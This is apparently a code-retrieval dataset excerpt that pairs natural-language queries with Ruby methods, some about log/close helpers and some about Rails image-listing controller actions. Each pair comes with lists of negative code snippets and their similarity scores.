@power = 'OFF'\n puts \"Terminating the simulation ...\"\n @simulationLog = @simulationLog + \"Terminating the simulation ...\\n\"\n \n # Gracefully clean up any open/allocated resources....\n\n end", "def close_buffer; end", "def close\n @closed = true\n end", "def on_close(&block)\n IORequest.logger.debug(prog_name) { 'Saved on_close block' }\n @on_close = block\n end", "def close\n case @state\n when :open_block, :closed_block\n @selectors.pop\n @properties.pop\n else\n raise \"#close not available when state is #{@state.inspect}\"\n end\n \n @state = :closed_block\n end", "def close_par!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 10 )\n\n type = CLOSE_PAR\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 52:14: ')'\n match( 0x29 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 10 )\n\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n # ..\n end", "def autoclose_open_blocks_and_return\n ( rslt = close_block; chain rslt; pipe_2_variable ) while @head.size > 1\n return close_block\n end", "def closed?() @closed end", "def close\n end", "def close\n end", "def close\n end", "def close(buffer = \"\")\n return if @block.nil?\n\n to_call, @block = @block, nil\n to_call.call(self, slice_from_buffer(buffer))\n end", "def at_exit(&block); end" ]
[ "0.6679224", "0.66725653", "0.65911025", "0.65641767", "0.65641767", "0.65641767", "0.65641767", "0.65612316", "0.6505269", "0.6492085", "0.64888525", "0.6470666", "0.6470666", "0.64085066", "0.64085066", "0.640207", "0.640207", "0.6369778", "0.630416", "0.62928706", "0.62420046", "0.6228829", "0.6217023", "0.6217023", "0.6217023", "0.6217023", "0.6214518", "0.61685705", "0.61655176", "0.6158493", "0.6149977", "0.6143432", "0.6136995", "0.6117212", "0.61089325", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6106067", "0.6093817", "0.60896915", "0.6074761", "0.60720026", "0.6057185", "0.6053988", "0.6021235", "0.59909177", "0.59909177", "0.59909177", "0.5985391", "0.5972207", "0.5952288", "0.5948413", "0.5932775", "0.5931714", "0.5931714", "0.59214026", "0.5920501", "0.59155995", "0.5906928", "0.5905681", "0.58821285", "0.5878013", "0.5878013", "0.5878013", "0.5878013", "0.5878013", "0.5878013", "0.5878013", "0.5878013", "0.5878013", "0.5873505", "0.5872369", "0.5862671", "0.586259", "0.586259", "0.586259", "0.5855435", "0.5843817" ]
0.0
-1
the last message in a logical block
def log_then_decr(*args) log(*args) log_decr end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_last_message\r\n @messages.fetch(self.count_messages - 1)\r\n end", "def last_message \n messages.last\n end", "def last_block\n\t\t(self.track_count*8)-1\n\tend", "def receive_last\n\n wrap('ret' => Flor.type(@node['ret']).to_s)\n end", "def last_block?\n return @last_block\n end", "def get_last_message\n Message.showing.last\n end", "def next_message; end", "def next_message; end", "def last_instant_text\n return @lines[-1]\n end", "def last() end", "def command_last m\n channel = escape m.channel.to_s\n last_logic channel\n end", "def last_line; end", "def last_line; end", "def last_line; end", "def last_line; end", "def last_line; end", "def last_line; end", "def last_line; end", "def last_message\n @last_message = self.messages.find(:first, :order => 'created_at DESC') if @last_message.nil?\n return @last_message\n end", "def last\n tail.data\n end", "def last_message\n get_json('last-message.json')\n end", "def last_message\n @last_message ||= messages.order(:created_at => :desc, :id => :desc).first\n end", "def latest_block(blockchain)\n blockchain[-1]\n end", "def actual_message\n self.outbounds.length == 1 ? outbounds.first.actual_message : message\n end", "def last\n contents[contents.size - 1]\n end", "def get_last_nak\n\n return self.get_last_comment(Comment::XTYPE_NAK)\n end", "def last\n out = nil\n\n each {|i| out = i }\n\n out\n end", "def last_output\n return @output_array[-1]\n end", "def last_output\n return @output_array[-1]\n end", "def last_output\n return @output_array[-1]\n end", "def last_output\n return @output_array[-1]\n end", "def last\n self[-1]\n end", "def last\r\n self[-1]\r\n end", "def last; end", "def last; end", "def last; end", "def get_last\n return @tail ? @tail.data : nil\n end", "def last?; end", "def last\n at(-1)\n end", "def last_chat_line\n line = @chat_win.read_text.split(\"\\n\")[-1]\n return @chat_win.strip_timestamp(line)\n end", "def last\n stack.last\n end", "def last\n @tail\n end", "def last\n ptr = C.LLVMGetLastInstruction(@block)\n LLVM::Instruction.from_ptr(ptr) unless ptr.null?\n end", "def get_last\n return @position\n end", "def last(m)\n\t\tnick = m.message.split(/\\W/)[2]\n\t\tuser = @users[nick]\n\t\tif Mailbox.exists? nick\n\t\t m.reply \"Last saw #{nick} [ #{\"%.2f\" % ((Time.now - user.last_seen) / 60 / 60)} hrs | #{user.missed_lines} lines ] ago\"\n\t end\n end", "def next_message\n socket.get_packet\n end", "def get_output(num)\n messages = @messages.last(num)\n messages.count < 2 ? messages.first : messages\n end", "def last\n self[-1]\n end", "def last\n end", "def newest\n @messages.last\n end", "def last\n trailer_data\n end", "def last\n ptr = C.LLVMGetLastBasicBlock(@fun)\n BasicBlock.from_ptr(ptr) unless ptr.null?\n end", "def last\n all[all.size - 1]\n end", "def get_next_message\n return @mailer.get_next_message\n end", "def last_turn_output\n return @output_array[-1]\n end", "def last_turn_output\n return @output_array[-1]\n end", "def last_turn_output\n return @output_array[-1]\n end", "def last_turn_output\n return @output_array[-1]\n end", "def message\n status.last\n end", "def last\n return each\n end", "def last_message_preview\n return @last_message_preview\n end", "def get_last_ack\n\n return self.get_last_comment(Comment::XTYPE_ACK)\n end", "def last_commit\n self.lookup self.head.target\n end", "def last_popped_stack_elem\n @stack[@sp]\n end", "def lastElement\n return @stk[@count]\n end", "def last\n\t\t\t@last\n\t\tend", "def poplaststat()\n top = @stack.pop()\n if top and top[0] == :break or top[0] == :return then\n return top\n else\n raise \"poplaststat: not found!\"\n end\nend", "def last\n return sync { @last }\n end", "def last_stdout\n @last_stdout.string if @last_stdout\n end", "def messages\n @previous.select { |event, _data| event == :message }.map(&:last).join\n end", "def last_sender\n @last_sender ||= last_message.sender\n end", "def last\n\t\t@tail.info if !@tail.nil?\n\tend", "def last\n @enumerable.last\n end", "def last_sequence\n self.seq\n end", "def bottom\n return nil if empty?\n @que.first\n end", "def last\n @tail.val\n end", "def message\n @iterations.last.message\n end", "def last(from: nil, to: nil, &block)\n retval = nil\n\n each_with_depth(from: from, to: nil) do |line, depth, index|\n retval = line if block.call(line, depth, index)\n end\n\n retval\n end", "def select_last\n select_symbol(@@last_command_symbol)\n end", "def select_last\n select_symbol(@@last_command_symbol)\n end", "def select_last\n select_symbol(@@last_command_symbol)\n end", "def select_last\n select_symbol(@@last_command_symbol)\n end", "def last_subject\n each_subject.to_a.last # TODO: optimize this\n end", "def get_last\r\n return nil unless @head\r\n cursor = @head\r\n while cursor.next\r\n cursor = cursor.next\r\n end\r\n return cursor.data\r\n end", "def findlastelse(blk)\n# pp \"FFFFFFFFFFFFFFFFFF: findlastelse:\", blk\n curblk = blk\n depth=0\n while true\n nextif = curblk[1]\n nextelse = nextif[3]\n if nextelse == nil then\n return nextif\n else\n depth+=1\n curblk = nextelse\n end\n end\n raise \"should never reached\"\nend", "def tell; @next_block_pos end", "def last_message_id(person_full_name)\n last_left = Message.first(\n :conditions => {:person => person_full_name, :message_type => ['Leave','Kick']},\n :order => [:timestamp.desc])\n \n if last_left \n # if person timed out, look for their last entry before the timeout\n if last_left.message_type == 'Kick'\n last_left = Message.first(\n :conditions => {:person => person_full_name, :timestamp.lt => last_left.timestamp},\n :order => [:timestamp.desc])\n end\n\n if last_left && (Time.now.to_i - last_left.timestamp > 120)\n return last_left.message_id\n end\n end\n end", "def last_acceptable current_chunk\n\t\t\tcurrent_chunk - (@history / @chunk_length)\n\t\tend", "def last_sender\n @last_sender = self.last_message.sender if @last_sender.nil?\n return @last_sender\n end", "def get_last\n return nil if @head.nil?\n return get_last_helper(@head)\n end", "def last()\n @VAR_STACK.last()\n end", "def message\n (operands.detect {|op| op.is_a?(Array) && op[0] == :message} || [:message])[1..-1]\n end", "def last_rut; end", "def last_i\n size - 1\n end", "def last\n @routes[-1]\n end", "def last_error\n less Email.find_with_deleted(:first, :conditions => \"subject like '[pam%'\", :order => \"id desc\").body\n end", "def last\n\t\t@last.content\n\tend", "def previous_message\n previous_message_index = self.conversation.messages.index(self) - 1\n self.conversation.messages[previous_message_index]\nend", "def last\n self.slice(self.size - 1)\n end", "def last_data\n get_current['data']\n end", "def last_frame; frames.last; end" ]
[ "0.7076223", "0.6946903", "0.685687", "0.67307407", "0.66529876", "0.66513914", "0.65659124", "0.65659124", "0.6544465", "0.6500039", "0.64759725", "0.64757425", "0.64757425", "0.64757425", "0.64757425", "0.64757425", "0.64757425", "0.64757425", "0.6463573", "0.6438773", "0.643482", "0.6415898", "0.6401967", "0.6381251", "0.6363136", "0.6308463", "0.6287741", "0.6267507", "0.6267507", "0.6267507", "0.6267507", "0.62420493", "0.62280184", "0.62199235", "0.62199235", "0.62199235", "0.62161475", "0.62091815", "0.6205301", "0.61989903", "0.6188025", "0.61820924", "0.61792636", "0.6151386", "0.61224246", "0.61204433", "0.6115357", "0.6113509", "0.6113467", "0.60999286", "0.608749", "0.6086393", "0.60708266", "0.60679895", "0.6052683", "0.6052683", "0.6052683", "0.6052683", "0.6025292", "0.6011429", "0.5987373", "0.5981065", "0.59747446", "0.5962491", "0.59523594", "0.5943137", "0.5937765", "0.5924097", "0.5919999", "0.59057003", "0.5905429", "0.5905034", "0.5895095", "0.58881974", "0.58874285", "0.58646137", "0.58499867", "0.5848382", "0.5828626", "0.5828626", "0.5828626", "0.5828626", "0.581081", "0.5810225", "0.5807232", "0.58068883", "0.580585", "0.5802751", "0.5798489", "0.5790596", "0.5771406", "0.5770349", "0.57637566", "0.5761509", "0.5758849", "0.57507116", "0.5731482", "0.573033", "0.5725323", "0.57118994", "0.5710127" ]
0.0
-1
GET /heading_bg_images GET /heading_bg_images.json
def index @heading_bg_images = HeadingBgImage.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @bgimage = Bgimage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bgimage }\n end\n end", "def index\n @admin_bg_images = BgImage.all\n end", "def set_heading_bg_image\n @heading_bg_image = HeadingBgImage.find(params[:id])\n end", "def images\n response = JSON.parse( self.class.get(\"#{BASE_URL}/contest/#{@api_key}/images\") )\n end", "def index\n wishes = Wish.all.with_attached_image.where(is_secret: false)\n render json: { wishes: generate_image_url(wishes) }\n end", "def index\n @img_lists = ImgList.all\n render json: @img_lists\n end", "def get_images\n {}\n end", "def index\n @web_display_car_images = WebDisplayCarImage.all\n\n render json:@web_display_car_images\n end", "def index\n @family_images = FamilyImage.all\n\n render json: @family_images\n end", "def images\n IbmCloudRest.get \"#{@uri}/images\"\n end", "def images()\n @photos = all_photos() \n @headers['Content-Type'] = CONTENT_TYPE\n end", "def show\n @page_img_bg_setting = PageImgBgSetting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @page_img_bg_setting }\n end\n end", "def new\n @bgimage = Bgimage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bgimage }\n end\n end", "def heading_bg_image_params\n params.require(:heading_bg_image).permit(:heading_bg_image, :page_heading_id)\n end", "def image_list\n @images = Picture.where(album_id: params[:album_id])\n respond_to do |format|\n format.json { render json: @images.to_json(methods: [:path])}\n end\n end", "def create\n @heading_bg_image = HeadingBgImage.new(heading_bg_image_params)\n\n respond_to do |format|\n if @heading_bg_image.save\n format.html { redirect_to @heading_bg_image, notice: 'Heading bg image was successfully created.' }\n format.json { render :show, status: :created, location: @heading_bg_image }\n else\n format.html { render :new }\n format.json { render json: @heading_bg_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @images = Image.all\n\n render json: @images\n end", "def show\n @banner_img = BannerImg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @banner_img }\n end\n end", "def index\n @variant_images = VariantImage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @variant_images }\n end\n end", "def index\n @images = Image.all\n\n respond_to do |format|\n format.html # index.html.slim\n format.json { render json: @images }\n end\n end", "def images\n {\n thumbnail: object.thumbnail.url(:large),\n logo: object.logo.url(:medium),\n white_logo: object.white_logo.url(:medium)\n }\n end", "def index\n @pictures = Picture.where(foodscape_id: params[:foodscape_id])\n render json: @pictures\n end", "def images\n bugImages = BugImage.all\n render :json => bugImages.to_json\n end", "def index\n @cap_image = fetch_cap_image(params['q'])\n\n if @cap_image.nil?\n @cap_image = CapImage.all.first\n flash.now[:alert] = 'Couldn\\'t fetch random image. Here\\'s one from the archives.'\n end\n\n respond_to do |format|\n format.html\n format.json { render json: @cap_image }\n end\n end", "def list\n @api.get(\"#{@api.path}/Images\")\n end", "def load_background_images\n hourly_image_files = {}\n\n Dir.glob(File.join(RAILS_ROOT, 'public', 'bg-pictures', '*.jpg')).each do |path|\n image_file = path.gsub(/#{File.join(RAILS_ROOT, 'public')}/, '')\n time_parts = image_file.split('/').last.split('.').first.split('-')\n\n # Determine default image\n if time_parts.length == 1 && time_parts.first == '0'\n hourly_image_files[:default] = image_file\n\n # Determine time range\n elsif time_parts.length == 2\n if time_parts.first.to_i < time_parts.last.to_i\n (time_parts.first.to_i..time_parts.last.to_i).each do |hour|\n hourly_image_files[\"hour_#{hour}\"] = image_file\n end\n else\n (time_parts.first.to_i..24).each do |hour|\n hourly_image_files[\"hour_#{hour}\"] = image_file\n end\n\n (0..time_parts.last.to_i).each do |hour|\n hourly_image_files[\"hour_#{hour}\"] = image_file\n end\n end\n end\n end\n\n hourly_image_files\n end", "def show\n coach = Coach.find(params[:id])\n json = coach.to_json({:image_url => ActionController::Base.helpers.asset_path(coach.image_url)})\n\n respond_to do |format|\n format.json {render :json => json}\n end\n end", "def index\n @images = getmydata(\"Image\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end", "def show\n @song = Song.find(params[:id])\n @metadata = @song.metadatum\n @images = BackgroundImage.where(song_id: @song.id)\n end", "def index\n @images = Image.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end", "def index\n @advertisements = Advertisement.where(user: current_user).order(updated_at: :desc).with_attached_images\n\n respond_to do |format|\n format.html\n format.json { render json: { advertisements: @advertisements } }\n end\n end", "def show\n render json:@web_display_car_image\n end", "def index\n @home_images = HomeImage.all\n end", "def index\n render json: Picture.all\n end", "def index\n @background_images = BackgroundImage.all\n render layout: 'devise_layout' \n end", "def images\n end", "def get_images\n @command = :get_images\n # set a flag indicating whether or not the user wants to see all images,\n # including the hidden ones\n show_hidden = (@prev_args.peek(0) == \"-i\" || @prev_args.peek(0) == \"--hidden\")\n # get the images from the RESTful API (as an array of objects)\n uri_str = ( show_hidden ? \"#{@uri_string}?hidden=true\" : @uri_string )\n uri = URI.parse uri_str\n result = hnl_http_get(uri)\n unless result.blank?\n # convert it to a sorted array of objects (from an array of hashes)\n sort_fieldname = 'filename'\n result = hash_array_to_obj_array(expand_response_with_uris(result), sort_fieldname)\n end\n # and print the result\n print_object_array(result, \"Images:\", :style => :table)\n end", "def update\n respond_to do |format|\n if @heading_bg_image.update(heading_bg_image_params)\n format.html { redirect_to @heading_bg_image, notice: 'Heading bg image was successfully updated.' }\n format.json { render :show, status: :ok, location: @heading_bg_image }\n else\n format.html { render :edit }\n format.json { render json: @heading_bg_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def images; end", "def images() \n uri = URI.parse(\"http://\" + @location.host + \":9292/v2/images\")\n return get_request(uri, @token)\n end", "def show\n @theoretical_background = TheoreticalBackground.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @theoretical_background }\n end\n end", "def get_img_tags\n @tp = Temp.find_by_id(params[:id])\n @tp.included_images \n render :json => @tp.included_images\n # render :text => @tp.included_images \n end", "def index\n @slider_images = SliderImage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slider_images }\n end\n end", "def images\n []\n end", "def items\n @beverages = Beverage.available\n respond_to do |format|\n format.json { render :json => @beverages.to_json(methods: :image_url)}\n end\n end", "def index\n @images = Image.all\n @categories = Category.all.sort_by(&:name)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @images }\n end\n end", "def status_images\n response = JSON.parse(@client.get(\"/api/v1/status-images\").body)\n return response[\"images\"] || response\n end", "def index\n @pictures = @album.pictures #JRD111115\n\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @pictures}\n end\n end", "def show\n @bwimage = Bwimage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bwimage }\n end\n end", "def index\n @slider_image_types = SliderImageType.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slider_images }\n end\n end", "def images\n @picturesandmeta = Pictureandmeta.all\n @kind = Kind.find(params[:kind_id])\n Rails.logger.info(\"Kind: #{@kind.inspect}\")\n end", "def index\n @animal_images = AnimalImage.all\n end", "def get_images_data\t\t\t\t\t\t\n\t\t{ payload: { 'makes' => makes_dropdown, 'images' => images_array('none').compact}, success: true}\n\tend", "def show\n render json: @family_image\n end", "def index\n @content_images = ContentImage.all\n end", "def create\n @bgimage = Bgimage.new(params[:bgimage])\n\n respond_to do |format|\n if @bgimage.save\n format.html { redirect_to @bgimage, :notice => 'Bgimage was successfully created.' }\n format.json { render :json => @bgimage, :status => :created, :location => @bgimage }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @bgimage.errors, :status => :unprocessable_entity }\n end\n end\n end", "def destroy\n @heading_bg_image.destroy\n respond_to do |format|\n format.html { redirect_to heading_bg_images_url, notice: 'Heading bg image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def index\n # @images = Image.all\n # @images = Image.order(\"id\").page(params[:page])\n @images = Image.page(params[:page])\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end", "def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/photos/#{params[:id]}.json?token=#{ENV['API_KEY']}\"\n\t response = RestClient.get(url)\n\t @photo = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/photos.json?token=#{ENV['API_KEY']}\"\n response = RestClient.get(url)\n @photos = JSON.parse(response.body)\t\t \n\tend\n end", "def image(id, nsfw = false)\n img = get url: \"images/#{id}\", nsfw: nsfw\n img['image'] if img\n end", "def index\n @web_car_galleries = WebCarGallery.all\n\n render json: @web_car_galleries\n end", "def index\n\n per_page = 10\n \n # Total number of images\n @total_num_of_images = Image.all.length\n \n @server_info = request.host_with_port\n \n # Params => Search\n @images = _index_1_search_text(per_page)\n \n @contentArray = _index_get_log()\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end", "def images\n images = []\n JSON.parse(resource['/offerings/image'].get)[\"images\"].each do |img|\n images << Image.new(img)\n end\n return images\n end", "def index\n @images = Image.all\n respond_with @images\n end", "def show\n render json: { wishes: generate_image_url([@wish]) }\n end", "def new\n @page_img_bg_setting = PageImgBgSetting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @page_img_bg_setting }\n end\n end", "def index\n @market_segment_images = @market_segment_imageable.market_segment_images\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "def images(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Images\", params: params)\n end", "def header_image\n header_img_path = request_from_reversemortgageplan? ? \"reversemortgageplan/\" : ''\n if @public_area and params[:path] and params[:path].empty?\n random_header = 1 + rand(7)\n content_tag(:div,'', :id => 'header_image', :style => \"background-image: url(/images/headers/#{header_img_path}large/header#{random_header}.jpg)\")\n else\n random_header = 1 + rand(8)\n content_tag(:div,'', :id => 'header_image', :style => \"background-image: url(/images/headers/#{header_img_path}small/header#{random_header}.jpg); height: 226px; margin-bottom: 10px\")\n end\n end", "def index\n @pictures = Picture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end", "def getimagesinfo\n trek = Trek.find_by_id(params[:id])\n send_data(trek.get_images_info.to_json,\n {:type => \"application/json\", :disposition => \"inline\"})\n end", "def index\n @textures = Texture.find(:all, :limit => 20, :order=> 'created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @textures }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end", "def get_all_images(env)\n images_json = get(env, \"#{@session.endpoints[:image]}/images\")\n images = JSON.parse(images_json)['images']\n\n return images if images.empty?\n\n is_v1 = false\n unless images[0].key? 'visibility'\n is_v1 = true\n images_json = get(env, \"#{@session.endpoints[:image]}/images/detail\")\n images = JSON.parse(images_json)['images']\n end\n\n images.map do |i|\n i['visibility'] = i['is_public'] ? 'public' : 'private' if is_v1\n Image.new(i['id'], i['name'], i['visibility'], i['size'], i['min_ram'], i['min_disk'])\n end\n end", "def show\n\n @observation = Observation.find(params[:id])\n @coral = Coral.find(params[:coral_id])\n\n @files = Dir.glob(\"app/assets/images/tagged_outlines_thumbs/*\")\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @observation }\n end\n end", "def index\n @album = Album.find(params[:album_id])\n @photos = @album.photos\n @photos_j = @album.photos.map { |p| p.json }\n @photo = Photo.new\n @album.add_one_view\n\n # @images = Dir.glob(\"app/assets/images/*.jpg\")\n # pic_hash = @images.first(10).map { |i| {:pic_url => i}}\n # @photos = pic_hash.each_with_index.map {|i,v| {:photo_id => v.to_s + \"1\" }.merge(i) }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos_j }\n end\n end", "def grab_the_images\n get_the_url = RestClient.get(@url)\n doc = Nokogiri::HTML(get_the_url)\n images = doc.search('img').map{ |img| img['src'] }\n images\n end", "def index\n @goods = Good.where(user: current_user.building.users)\n respond_to do |format|\n format.html\n format.json do\n render json: {\n goods: @goods.map{|g|g.attributes.merge(image: url_for(g.user.profile.pic), ownerId: g.user.id)}\n }\n end\n end\n end", "def index_by_age\n @age = Age.find(params[:age_id])\n @gifts = @age.gifts\n render json: @gifts, include: :ages, status: :ok\n end", "def index\n #get the featured campaigns\n @campaigns = Campaign.where({ featured: true }).order(\"created_at DESC\").limit(8)\n #create array of objects where we display each campaign's id, name, goal and image_url\n campaigns_hash_array = @campaigns.collect{|campaign| {\"campaign_id\"=> campaign.id, \"campaign_name\" => campaign.name, \"campaign_goal\" => campaign.goal_cents/100, \"campaign_image_url\" => campaign.getimageurl(campaign.image) }}\n if(campaigns_hash_array != nil)\n render json: campaigns_hash_array\n else\n render json: no_featured_campaigns_error, :status => 404\n end\n end", "def index\n @featureimgs = Featureimg.all\n end", "def index\n @activity = Activity.find(params[:activity_id])\n @pictures = @activity.pictures\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end", "def index\n if params[:floor_id]\n data = {Image: [{id: params[:floor_id], Tags: Tag.find_by(floor: params[:floor_id])}]}\n else\n data = Tag.all\n end\n render json: data\n end", "def get_an_image_thumbnail_given_its_floorplan_id(args = {}) \n get(\"/resource.json/floorplan/#{args[:floorplanId]}/thumb\", args)\nend", "def index\n @recipe_images = RecipeImage.all\n end", "def show\n @category_image = CategoryImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category_image }\n end\n end", "def index\n @posts = Post.all\n @imgs = [\n \"https://images.unsplash.com/flagged/photo-1570612861542-284f4c12e75f?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=3150&q=80\",\n \"https://images.unsplash.com/photo-1509967419530-da38b4704bc6?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=3172&q=80\",\n \"https://images.unsplash.com/photo-1581466046946-06ea1cdcda9a?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=3150&q=80\",\n \"https://images.unsplash.com/photo-1577632585381-c50d2d100116?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=3150&q=80\",\n \"https://images.unsplash.com/photo-1563813318650-1e23051cf43e?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=3150&q=80\",\n \"https://images.unsplash.com/photo-1547269174-c16503aab218?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=3150&q=80\"\n ]\n end", "def destroy\n @bgimage = Bgimage.find(params[:id])\n @bgimage.destroy\n\n respond_to do |format|\n format.html { redirect_to bgimages_url }\n format.json { head :no_content }\n end\n end", "def scrap_the_images\n url = RestClient.get(@url)\n parsed_result = Nokogiri::HTML(url)\n images = parsed_result.search('img').map { |img| img['src'] }\n images\n end", "def get_gallery\r\n\t\t\timages = ProjectImage.where(project_id: params[:id]).reorder('\"order\" asc')\r\n\r\n\t\t\trender json: { status: 0, result: images.map { |image| { id: image.id, small: image.image.url(:thumb), original: image.image.url, description: image.description } } }\r\n\t\tend", "def show\n album = Album.includes(:album_images).find(params[:id])\n return_hash = album.attributes\n return_hash['album_images'] = album.album_images\n render json: return_hash\n end", "def index\n @gifs = Gif.sorted.paginate(page: params[:page], per_page: 12)\n\n respond_to do |format|\n format.html\n format.json { render json: @gifs }\n end\n end", "def index\n @illustrations = Illustration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @illustrations }\n end\n end", "def getJson\n if params[:id].present?\n render json: (TraditionalRoutePhoto.where(traditional_route_id: params[:id]))\n else\n render json: (TraditionalRoutePhoto.all)\n end\n end", "def index\n @screenshots = Screenshot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @screenshots }\n end\n end", "def show\n @estate_agent_image = EstateAgentsImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estate_agent_image }\n end\n end", "def thumb\n @agency_logo = AgencyLogo.find(params[:id])\n respond_to do |format|\n format.jpg # thumb.jpg.flexi\n end\n end", "def index\n @combined_images = CombinedImage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @combined_images }\n end\n end", "def header_image\n return if @classroom.nil? or @classroom.new_record?\n\n image = @classroom.images.find_by_id(@classroom.header_image)\n return if image.nil?\n\n @header_image = image.attachment.url\n render('shared/header_image')\n end", "def index\n @imagems = Imagem.where(:imovel_id => current_user.imovels {|i| i.id})\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @imagems }\n end\n end" ]
[ "0.6790276", "0.6626622", "0.6578999", "0.6426558", "0.6372974", "0.62523603", "0.6239958", "0.62089497", "0.6175802", "0.61658424", "0.61657625", "0.615235", "0.61382", "0.61350834", "0.6124343", "0.609146", "0.6050378", "0.60362095", "0.603073", "0.6007625", "0.5997535", "0.5969426", "0.5967932", "0.5963843", "0.5952144", "0.59465134", "0.5939996", "0.59371626", "0.59348285", "0.59281087", "0.5928052", "0.59236", "0.5911439", "0.59104365", "0.58960116", "0.5877431", "0.5872832", "0.5855778", "0.5855378", "0.58435297", "0.5817703", "0.58064234", "0.5798606", "0.5796129", "0.57861227", "0.57737976", "0.5769528", "0.5758445", "0.5750638", "0.57420504", "0.5735011", "0.5733352", "0.57298255", "0.5710296", "0.5693546", "0.5692077", "0.568938", "0.56838495", "0.56772006", "0.56744385", "0.56639636", "0.56480604", "0.5629968", "0.56292516", "0.562456", "0.56160855", "0.5610468", "0.56083953", "0.5608295", "0.5606885", "0.56063753", "0.5606107", "0.5605242", "0.5598587", "0.55831665", "0.5577719", "0.55773765", "0.55771166", "0.5573301", "0.55730444", "0.5572169", "0.5571617", "0.5569652", "0.5562596", "0.5559199", "0.5556478", "0.55534786", "0.5548849", "0.55486745", "0.5545833", "0.5542148", "0.55410326", "0.5533187", "0.5530221", "0.551961", "0.551747", "0.55121243", "0.5507372", "0.5502478", "0.54949474" ]
0.77676207
0
GET /heading_bg_images/1 GET /heading_bg_images/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @heading_bg_images = HeadingBgImage.all\n end", "def show\n @bgimage = Bgimage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bgimage }\n end\n end", "def set_heading_bg_image\n @heading_bg_image = HeadingBgImage.find(params[:id])\n end", "def index\n wishes = Wish.all.with_attached_image.where(is_secret: false)\n render json: { wishes: generate_image_url(wishes) }\n end", "def new\n @bgimage = Bgimage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bgimage }\n end\n end", "def index\n @admin_bg_images = BgImage.all\n end", "def show\n @page_img_bg_setting = PageImgBgSetting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @page_img_bg_setting }\n end\n end", "def show\n @banner_img = BannerImg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @banner_img }\n end\n end", "def images\n response = JSON.parse( self.class.get(\"#{BASE_URL}/contest/#{@api_key}/images\") )\n end", "def index\n @img_lists = ImgList.all\n render json: @img_lists\n end", "def index\n @cap_image = fetch_cap_image(params['q'])\n\n if @cap_image.nil?\n @cap_image = CapImage.all.first\n flash.now[:alert] = 'Couldn\\'t fetch random image. Here\\'s one from the archives.'\n end\n\n 